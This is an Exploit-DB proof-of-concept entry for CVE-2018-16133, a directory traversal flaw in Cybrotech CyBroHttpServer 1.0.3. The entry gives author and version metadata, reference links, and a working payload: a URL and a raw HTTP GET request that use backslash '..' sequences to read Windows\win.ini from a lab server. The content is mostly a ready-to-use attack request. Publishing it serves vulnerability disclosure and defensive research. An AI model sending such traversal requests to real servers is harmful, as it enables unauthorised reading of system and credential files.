Cybrotech CyBroHttpServer 1.0.3 - Directory Traversal

EDB-ID:

45303


Published:

2018-08-30

# Exploit Title: Cybrotech CyBroHttpServer 1.0.3 - Directory Traversal
# Date: 2018-08-29
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: http://www.cybrotech.com/
# Software Link: http://www.cybrotech.com/wp-content/uploads/2016/11/CyBroHttpServer-v1.0.3.zip
# Version: v1.0.3
# Tested on: Windows
# CVE: CVE-2018-16133

# PoC
https://<host>\..\..\..\..\Windows\win.ini

# CVE-2018-16133
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16133
https://github.com/EmreOvunc/CyBroHttpServer-v1.0.3-Directory-Traversal
https://emreovunc.com/blog/en/CyBroHttpServer-v.1.0.3-Directory-Traversal-3.png

GET \..\..\..\..\Windows\win.ini HTTP/1.1
Host: 192.168.43.102:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:61.0) Gecko/20100101
Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1